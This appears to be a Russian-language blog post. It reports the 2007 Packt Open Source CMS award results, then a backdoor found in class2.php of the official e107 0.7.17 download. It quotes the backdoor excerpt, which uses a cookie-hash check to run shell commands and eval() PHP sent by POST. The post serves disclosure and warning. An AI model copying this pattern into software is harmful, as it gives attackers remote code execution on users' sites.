Закончился конкурс на лучшую Open Source CMS, которую проводил сайт www.packtpub.com/award.

Победитель должен был забрать $5000.

В финал вышли следующие cms:

Drupal
e107
Joomla!
Plone
Xoops

И в результате награды распределились следуюшим образом:
1. Joomla!- $5,000
2. Drupal — $3,000
3. Plone — $2,000

подробности

Хотите поддержать любимую CMS на 2007 Open Source CMS Award?

Тогда принимаем участие в голосовании (продлится с 10 сентября по 26 октября)
на официальном сайте: packtpub.com

22 января на официальном сайте системы управления контентом появилась новость от McFly о том, что был обнаружен очень неприятный эксплойт, которому подвержена вся ветка 0.7.xx, включая актуальную, на тот момент, версию 0.7.16.
В своей новости McFly просил срочно обновиться до версии 0.7.17, а также сообщить об этом всем, кто использует данную CMS.

А 25 января всех пользователей e107 ждал новый сюрприз, в виде backdoor'а в файле class2.php, а если быть точнее:

file: class2.php, line: 1876

if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {

...

if(!empty($_POST['cmd'])){
$out = execute($_POST['cmd']);
}

elseif(!empty($_POST['php'])){
ob_start();
eval($_POST['php']);
$out = ob_get_contents();
ob_end_clean();
}

...


Изменения, по всей видимости, были внесены только в class2.php полного дистрибутива CMS, который расположен на официальном сайте E107, и не были замечены в обновлениях, которые располагаются на сайте sourceforge.
На данный момент, при попытке скачать архив с полным дистрибутивом e107 0.7.17 с официального сайта выводится 404